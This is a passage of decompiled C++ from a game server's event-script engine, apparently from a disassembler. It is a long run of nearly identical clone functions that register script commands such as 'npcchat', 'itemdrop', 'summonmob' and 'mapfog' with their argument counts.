{ PineEventScriptNode::OtherStatement::OtherStatement(v2, "doorbuild", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorBuild::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6524B8: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorBuild___vftable_)(int tr); //----- (004CE350) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCStand::sb_CloneMe(PineEventScriptNode::ShineNPCStand *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcstand", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCStand::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6524CC: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCStand___vftable_)(int tr); //----- (004CE3B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Mob::sb_CloneMe(PineEventScriptNode::ShineChange2Mob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2mob", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Mob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6524E0: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Mob___vftable_)(int tr); //----- (004CE410) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Door::sb_CloneMe(PineEventScriptNode::ShineChange2Door *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2door", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Door::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6524F4: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Door___vftable_)(int tr); //----- (004CE470) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2NPC::sb_CloneMe(PineEventScriptNode::ShineChange2NPC *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2npc", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2NPC::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652508: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2NPC___vftable_)(int tr); //----- (004CE4D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineExchange2Mob::sb_CloneMe(PineEventScriptNode::ShineExchange2Mob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "exchange2mob", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineExchange2Mob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 65251C: using guessed type int (__stdcall *PineEventScriptNode__ShineExchange2Mob___vftable_)(int tr); //----- (004CE530) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorOpen::sb_CloneMe(PineEventScriptNode::ShineDoorOpen *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "dooropen", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorOpen::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652540: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorOpen___vftable_)(int tr); //----- (004CE590) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorClose::sb_CloneMe(PineEventScriptNode::ShineDoorClose *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "doorclose", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorClose::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652560: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorClose___vftable_)(int tr); //----- (004CE5F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectVanish::sb_CloneMe(PineEventScriptNode::ShineObjectVanish *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "vanish", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectVanish::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652580: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectVanish___vftable_)(int tr); //----- (004CE650) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegenGroup::sb_CloneMe(PineEventScriptNode::ShineRegenGroup *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "regengroup", 0, 2, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegenGroup::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 65259C: using guessed type int (__stdcall *PineEventScriptNode__ShineRegenGroup___vftable_)(int tr); //----- (004CE6B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitUserLogin::sb_CloneMe(PineEventScriptNode::ShineWaitUserLogin *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitlogin", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitUserLogin::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6525BC: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitUserLogin___vftable_)(int tr); //----- (004CE710) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePause::sb_CloneMe(PineEventScriptNode::ShinePause *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "pause", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePause::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6525DC: using guessed type int (__stdcall *PineEventScriptNode__ShinePause___vftable_)(int tr); //----- (004CE770) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCChat::sb_CloneMe(PineEventScriptNode::ShineNPCChat *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcchat", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCChat::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6525F8: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCChat___vftable_)(int tr); //----- (004CE7D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCShout::sb_CloneMe(PineEventScriptNode::ShineNPCShout *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcshout", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCShout::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652614: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCShout___vftable_)(int tr); //----- (004CE830) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindow::sb_CloneMe(PineEventScriptNode::ShineChatWindow *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "chatwin", 0, 2, 9); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindow::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652634: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindow___vftable_)(int tr); //----- (004CE890) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindowRange::sb_CloneMe(PineEventScriptNode::ShineChatWindowRange *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "chatwinrange", 0, 4, 9); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindowRange::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652650: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindowRange___vftable_)(int tr); //----- (004CE8F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSomeoneShout::sb_CloneMe(PineEventScriptNode::ShineSomeoneShout *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "someoneshout", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSomeoneShout::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652674: using guessed type int (__stdcall *PineEventScriptNode__ShineSomeoneShout___vftable_)(int tr); //----- (004CE950) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSummonMob::sb_CloneMe(PineEventScriptNode::ShineSummonMob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "summonmob", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSummonMob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652698: using guessed type int (__stdcall *PineEventScriptNode__ShineSummonMob___vftable_)(int tr); //----- (004CE9B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineQuestResult::sb_CloneMe(PineEventScriptNode::ShineQuestResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "questresult", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineQuestResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6526B8: using guessed type int (__stdcall *PineEventScriptNode__ShineQuestResult___vftable_)(int tr); //----- (004CEA10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReward::sb_CloneMe(PineEventScriptNode::ShineReward *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "reward", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReward::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6526D8: using guessed type int (__stdcall *PineEventScriptNode__ShineReward___vftable_)(int tr); //----- (004CEA70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBroadcast::sb_CloneMe(PineEventScriptNode::ShineBroadcast *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "broadcast", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBroadcast::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6526F4: using guessed type int (__stdcall *PineEventScriptNode__ShineBroadcast___vftable_)(int tr); //----- (004CEAD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineLinkTo::sb_CloneMe(PineEventScriptNode::ShineLinkTo *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "linkto", 1u, 4, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineLinkTo::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652714: using guessed type int (__stdcall *PineEventScriptNode__ShineLinkTo___vftable_)(int tr); //----- (004CEB30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemDrop::sb_CloneMe(PineEventScriptNode::ShineItemDrop *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemdrop", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemDrop::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652770: using guessed type int (__stdcall *PineEventScriptNode__ShineItemDrop___vftable_)(int tr); //----- (004CEB90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoClickMe::sb_CloneMe(PineEventScriptNode::ShineWhoClickMe *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "whoclickme", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoClickMe::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652730: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoClickMe___vftable_)(int tr); //----- (004CEBF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoKillMe::sb_CloneMe(PineEventScriptNode::ShineWhoKillMe *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "whokillme", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWhoKillMe::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652750: using guessed type int (__stdcall *PineEventScriptNode__ShineWhoKillMe___vftable_)(int tr); //----- (004CEC50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvenSearch::sb_CloneMe(PineEventScriptNode::ShineInvenSearch *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "invensearch", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvenSearch::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652790: using guessed type int (__stdcall *PineEventScriptNode__ShineInvenSearch___vftable_)(int tr); //----- (004CECB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemCreate::sb_CloneMe(PineEventScriptNode::ShineItemCreate *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemcreate", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemCreate::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6527B0: using guessed type int (__stdcall *PineEventScriptNode__ShineItemCreate___vftable_)(int tr); //----- (004CED10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemErase::sb_CloneMe(PineEventScriptNode::ShineItemErase *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "itemerase", 1u, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineItemErase::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6527D0: using guessed type int (__stdcall *PineEventScriptNode__ShineItemErase___vftable_)(int tr); //----- (004CED70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindHandle::sb_CloneMe(PineEventScriptNode::ShineFindHandle *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "findhandle", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindHandle::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6527F0: using guessed type int (__stdcall *PineEventScriptNode__ShineFindHandle___vftable_)(int tr); //----- (004CEDD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatSet::sb_CloneMe(PineEventScriptNode::ShineAbstatSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "abstateset", 1u, 3, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652810: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatSet___vftable_)(int tr); //----- (004CEE30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatReset::sb_CloneMe(PineEventScriptNode::ShineAbstatReset *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "abstatereset", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineAbstatReset::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652830: using guessed type int (__stdcall *PineEventScriptNode__ShineAbstatReset___vftable_)(int tr); //----- (004CEE90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSuicide::sb_CloneMe(PineEventScriptNode::ShineSuicide *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "suicide", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSuicide::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652854: using guessed type int (__stdcall *PineEventScriptNode__ShineSuicide___vftable_)(int tr); //----- (004CEEF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRun::sb_CloneMe(PineEventScriptNode::ShineRun *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "run", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRun::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652870: using guessed type int (__stdcall *PineEventScriptNode__ShineRun___vftable_)(int tr); //----- (004CEF50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWalk::sb_CloneMe(PineEventScriptNode::ShineWalk *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "walk", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWalk::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652888: using guessed type int (__stdcall *PineEventScriptNode__ShineWalk___vftable_)(int tr); //----- (004CEFB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapLight::sb_CloneMe(PineEventScriptNode::ShineMapLight *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "maplight", 0, 3, 3); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapLight::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6528A4: using guessed type int (__stdcall *PineEventScriptNode__ShineMapLight___vftable_)(int tr); //----- (004CF010) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapFog::sb_CloneMe(PineEventScriptNode::ShineMapFog *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mapfog", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMapFog::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 6528C4: using guessed type int (__stdcall *PineEventScriptNode__ShineMapFog___vftable_)(int tr); //----- (004CF070) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectObject::sb_CloneMe(PineEventScriptNode::ShineEffectObject *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void 